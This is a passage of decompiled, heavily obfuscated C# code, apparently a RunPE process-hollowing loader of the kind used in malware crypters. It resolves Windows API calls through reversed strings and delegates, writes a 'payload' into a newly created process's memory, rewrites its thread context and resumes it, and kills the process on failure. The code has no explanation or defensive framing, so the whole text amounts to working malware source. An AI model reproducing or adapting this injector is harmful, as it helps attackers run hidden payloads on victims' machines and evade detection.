								case 56u:
									num4 = (int)((num * 343819984) ^ 0x37232ED2);
									continue;
								case 55u:
									Buffer.BlockCopy(payload, srcOffset, array2, 0, array2.Length);
									num4 = ((int)num * -258135312) ^ -1194031149;
									continue;
								case 54u:
								{
									int num21;
									int num22;
									if (flag12)
									{
										num21 = -254206099;
										num22 = -254206099;
									}
									else
									{
										num21 = -1950557060;
										num22 = -1950557060;
									}
									num4 = num21 ^ (int)(num * 310431002);
									continue;
								}
								case 53u:
									flag12 = num15 == buffer;
									num4 = 2059910541;
									continue;
								case 52u:
									flag11 = !delegate6_0(processInformation.intptr_0, num7 + num19, array2, array2.Length, ref bytesWritten);
									num4 = ((int)num * -1995308707) ^ 0x33BF0E60;
									continue;
								case 51u:
									num4 = ((int)num * -1209566208) ^ 0x671ABF78;
									continue;
								case 49u:
								{
									byte[] bytes = BitConverter.GetBytes(num7);
									flag6 = !delegate6_0(processInformation.intptr_0, num9 + 8, bytes, 4, ref bytesWritten);
									num4 = (int)(num * 1085410340) ^ -1431397662;
									continue;
								}
								case 48u:
									num4 = (int)(num * 319170225) ^ -500106916;
									continue;
								case 46u:
									array[44] = num7 + num14;
									flag7 = IntPtr.Size == 4;
									num4 = 495542227;
									continue;
								case 45u:
									flag4 = !delegate7_0(processInformation.intptr_0, num9 + 8, ref buffer, 4, ref bytesWritten);
									num4 = (int)(num * 246766094) ^ -111200186;
									continue;
								case 44u:
								{
									num14 = (int)Type.GetType(smethod_0("retrevnoCtiB.metsyS")).GetMethod(smethod_0("23tnIoT")).Invoke(0, new object[2]
									{
										payload,
										num16 + 40
									});
									int num47;
									if (!flag9)
									{
										num4 = 148363145;
										num47 = 148363145;
									}
									else
									{
										num4 = 1765105466;
										num47 = 1765105466;
									}
									continue;
								}
								case 43u:
									num4 = (int)(num * 75498693) ^ -1196846372;
									continue;
								case 42u:
									num26 = BitConverter.ToInt16(payload, num16 + 6);
									num25 = 0;
									num4 = ((int)num * -470712019) ^ -1118933175;
									continue;
								case 41u:
									num4 = 280844244;
									continue;
								case 40u:
									array2 = new byte[num40];
									num4 = ((int)num * -1781729487) ^ 0x17C93618;
									continue;
								case 39u:
									num33 += 40;
									num4 = 2044529839;
									continue;
								case 38u:
									num4 = 255491121;
									continue;
								case 37u:
								{
									int num43;
									int num44;
									if (!flag17)
									{
										num43 = 1427440187;
										num44 = 1427440187;
									}
									else
									{
										num43 = 1746870546;
										num44 = 1746870546;
									}
									num4 = num43 ^ ((int)num * -1658400894);
									continue;
								}
								case 35u:
									num25++;
									num4 = ((int)num * -654607310) ^ -32765852;
									continue;
								case 34u:
									num4 = ((int)num * -2075671707) ^ 0x30DA7DA1;
									continue;
								case 33u:
									flag16 = !flag8;
									num4 = ((int)num * -1347058607) ^ 0x31A97F34;
									continue;
								case 32u:
								{
									int num36;
									int num37;
									if (!flag10)
									{
										num36 = 1309453283;
										num37 = 1309453283;
									}
									else
									{
										num36 = 661070712;
										num37 = 661070712;
									}
									num4 = num36 ^ (int)(num * 972096574);
									continue;
								}
								case 31u:
									num4 = 1745416750;
									continue;
								case 30u:
									bufferSize = BitConverter.ToInt32(payload, num16 + 84);
									num4 = (int)((num * 2042500000) ^ 0x3AB3205B);
									continue;
								case 29u:
									num4 = 2091610909;
									continue;
								case 27u:
								{
									int num34;
									int num35;
									if (flag13)
									{
										num34 = -679438544;
										num35 = -679438544;
									}
									else
									{
										num34 = -1354518949;
										num35 = -1354518949;
									}
									num4 = num34 ^ (int)(num * 400178471);
									continue;
								}
								case 26u:
									num4 = (int)(num * 822239013) ^ -1542997511;
									continue;
								case 25u:
								{
									int num31;
									int num32;
									if (flag14)
									{
										num31 = 1726945517;
										num32 = 1726945517;
									}
									else
									{
										num31 = 1527467099;
										num32 = 1527467099;
									}
									num4 = num31 ^ (int)(num * 1166423359);
									continue;
								}
								case 24u:
								{
									int num27;
									int num28;
									if (flag7)
									{
										num27 = -897120649;
										num28 = -897120649;
									}
									else
									{
										num27 = -810575483;
										num28 = -810575483;
									}
									num4 = num27 ^ ((int)num * -276469320);
									continue;
								}
								case 22u:
									flag14 = delegate8_0(processInformation.intptr_0, buffer) != 0;
									num4 = ((int)num * -1988474565) ^ 0x14D169B0;
									continue;
								case 21u:
									flag13 = num25 < num26;
									num4 = 1032740728;
									continue;
								case 19u:
									num4 = 1694639061;
									continue;
								case 18u:
								{
									int num20;
									if (delegate0_0(processInformation.intptr_1) != -1)
									{
										num4 = 1839625070;
										num20 = 1839625070;
									}
									else
									{
										num4 = 1478473225;
										num20 = 1478473225;
									}
									continue;
								}
								case 17u:
								{
									int num17;
									int num18;
									if (flag6)
									{
										num17 = 393459233;
										num18 = 393459233;
									}
									else
									{
										num17 = 1533830560;
										num18 = 1533830560;
									}
									num4 = num17 ^ ((int)num * -1664300021);
									continue;
								}
								case 16u:
									array = new int[179];
									array[0] = 65538;
									flag10 = IntPtr.Size == 4;
									num4 = (int)((num * 383371919) ^ 0x6B40FF87);
									continue;
								case 15u:
									length = BitConverter.ToInt32(payload, num16 + 80);
									num4 = 14376677;
									continue;
								case 12u:
									flag9 = false;
									num4 = (int)((num * 1709570113) ^ 0x50807786);
									continue;
								case 9u:
									flag8 = delegate1_0(processInformation.intptr_1, array);
									num4 = (int)(num * 765118100) ^ -541404538;
									continue;
								case 8u:
									num4 = ((int)num * -406620368) ^ 0x79C93759;
									continue;
								case 6u:
									num4 = 1980862263;
									continue;
								case 5u:
									num7 = num15;
									num4 = ((int)num * -609978053) ^ 0x45F08F9E;
									continue;
								case 4u:
								{
									int num12;
									int num13;
									if (flag5)
									{
										num12 = 57826020;
										num13 = 57826020;
									}
									else
									{
										num12 = 1342290965;
										num13 = 1342290965;
									}
									num4 = num12 ^ ((int)num * -177645226);
									continue;
								}
								case 3u:
									flag5 = !delegate4_0(processInformation.intptr_1, array);
									num4 = ((int)num * -965880726) ^ -1403610731;
									continue;
								case 2u:
									num4 = 261389518;
									continue;
								case 1u:
								{
									int num5;
									int num6;
									if (flag3)
									{
										num5 = 613694821;
										num6 = 613694821;
									}
									else
									{
										num5 = 1134960697;
										num6 = 1134960697;
									}
									num4 = num5 ^ ((int)num * -367296803);
									continue;
								}
								case 0u:
									num4 = 1284003431;
									continue;
								default:
									return;
								case 7u:
									break;
								case 10u:
									throw new Exception();
								case 11u:
									throw new Exception();
								case 13u:
									throw new Exception();
								case 14u:
									throw new Exception();
								case 20u:
									throw new Exception();
								case 23u:
									throw new Exception();
								case 28u:
									throw new Exception();
								case 36u:
									throw new Exception();
								case 47u:
									throw new Exception();
								case 57u:
									throw new Exception();
								case 64u:
									throw new Exception();
								case 68u:
									throw new Exception();
								case 50u:
									return;
								}
								break;
							}
						}
					}
					catch
					{
						while (true)
						{
							IL_0a60:
							int num48 = 557689566;
							while (true)
							{
								switch ((num = (uint)num48 ^ 0x3E0691EFu) % 4u)
								{
								case 2u:
									Process.GetProcessById(Convert.ToInt32(processInformation.uint_0)).Kill();
									num48 = ((int)num * -1614415938) ^ -1758910881;
									continue;
								case 1u:
									num48 = (int)((num * 2024828304) ^ 0x7BE8D8C9);
									continue;
								default:
									goto end_IL_0a3e;
								case 3u:
									break;
								case 0u:
									goto end_IL_0a3e;
								}
								goto IL_0a60;
								continue;
								end_IL_0a3e:
								break;
							}
							break;
						}
					}
					goto case 3u;
				}
				default:
					return;
				case 4u:
					break;
				case 0u:
					return;
				}
				break;
			}
		}
	}

	static yes()
	{
		while (true)
		{
			int num = -669095907;
			while (true)
			{
				uint num2;
				switch ((num2 = (uint)num ^ 0xA2DFA7B0u) % 12u)
				{
				case 11u:
					delegate0_0 = smethod_1<Delegate0>(smethod_0(string_1), smethod_0(string_3));
					num = (int)((num2 * 92770233) ^ 0x10161F50);
					continue;
				case 9u:
					delegate6_0 = smethod_1<Delegate6>(smethod_0(string_1), smethod_0(string_8));
					num = ((int)num2 * -1825288037) ^ 0xB827F41;
					continue;
				case 8u:
					delegate3_0 = smethod_1<Delegate3>(smethod_0(string_1), smethod_0(string_6));
					delegate4_0 = smethod_1<Delegate4>(smethod_0(string_1), smethod_0(FmffedpoU));
					delegate5_0 = smethod_1<Delegate5>(smethod_0(string_1), smethod_0(string_7));
					num = (int)(num2 * 202899740) ^ -1512637915;
					continue;
				case 7u:
					delegate1_0 = smethod_1<Delegate1>(smethod_0(string_1), smethod_0(string_4));
					delegate2_0 = smethod_1<Delegate2>(smethod_0(string_1), smethod_0(string_5));
					num = ((int)num2 * -482628099) ^ -1070131217;
					continue;
				case 6u:
					string_6 = string_0[5];
					FmffedpoU = string_0[6];
					string_7 = string_0[7];
					num = ((int)num2 * -1292594128) ^ 0x5E51E282;
					continue;
				case 5u:
					string_1 = string_0[0];
					num = (int)(num2 * 34292714) ^ -2084840839;
					continue;
				case 3u:
					string_2 = string_0[1];
					num = ((int)num2 * -837643027) ^ 0x15FA1A32;
					continue;
				case 2u:
					string_8 = string_0[8];
					string_9 = string_0[9];
					string_10 = string_0[10];
					string_11 = string_0[11];
					num = (int)((num2 * 1110115946) ^ 0xDD8DE5B);
					continue;
				case 1u:
					string_3 = string_0[2];
					string_4 = string_0[3];
					num = (int)((num2 * 749911345) ^ 0x131CE6FD);
					continue;
				case 0u:
					string_5 = string_0[4];
					num = (int)((num2 * 1201080651) ^ 0x982FFC2);
					continue;
				case 4u:
					break;
				default:
					delegate7_0 = smethod_1<Delegate7>(smethod_0(string_1), smethod_0(string_9));
					delegate8_0 = smethod_1<Delegate8>(smethod_0(string_2), smethod_0(string_10));
					delegate9_0 = smethod_1<Delegate9>(smethod_0(string_1), smethod_0(string_11));
					return;
				}
				break;
			}
		}
	}
}